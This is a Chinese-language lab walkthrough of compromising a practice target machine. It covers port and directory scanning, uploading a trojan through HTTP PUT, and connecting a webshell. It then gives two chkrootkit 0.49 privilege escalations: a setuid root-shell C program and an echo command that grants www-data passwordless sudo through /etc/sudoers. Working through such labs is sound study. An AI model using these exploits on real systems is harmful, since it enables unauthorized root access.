攻击机:kali(111.111.111.129),windows(192.168.1.3)
靶机地址:111.111.111.140
信息收集:
使用nmap:端口扫描,服务发现
使用dirmap:目录扫描
发现一个test目录,里面可以访问文件。
漏洞利用
使用burp抓包,测试支持的传输协议,发现可以上传文件
使用PUT协议上传一个木马
使用天蝎连接
权限提升
在天蝎上进行提权操作,当前为web-data
提权姿势1
chkrootkit提权
chkrootkit是一个后门木马检查工具,Chkrootkit0.49以及以下版本均存在本地提权漏洞,只要提权上传一个文件到tmp目录,管理员再次运行Chkrootkit后,即可获取root权限。
使用kali搜索该漏洞,发现可以使用msf进行操作,也可以在本地操作。
既然已经拿到webshell,获取meterpeter也是很简单的,这里不详细说明。
直接上手
再复现一下本地的,创建c语言脚本
#include <unistd.h>
void main(void)
{
system("chown root:root /tmp/update");
system("chmod 4755 /tmp/update");
setuid(0);
setgid(0);
execl("/bin/sh","sh",NULL);
}
将 /tmp/update 文件的所有者和所属组都更改为 root。这意味着 /tmp/update 文件将由 root 用户和 root 组所有。
chmod 4755 /tmpupdate,这样可以设置文件的权限。4755 是一个八进制的文件权限掩码,设置后,文件将具有以下权限:
4 (Setuid):如果此文件是一个可执行文件,那么用户执行此文件时,将获得文件所有者的权限。
7 (rwx) 对应所有者:读、写、执行权限。
5 (r-x) 对应组和其他用户:读和执行权限。
这将允许任何用户执行 /tmpupdate 文件时以 root 权限运行。
编译
到tmp目录执行./update可以直接获取root权
提权姿势二
写入sudo权限提权
将www-data用户写入到管理员组sudoers
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
给update赋权
chmod +x /tmp/update
查看权限执行sudo
sudo su ----成功获得root权限
本文参考https://www.freebuf.com/vuls/354371.html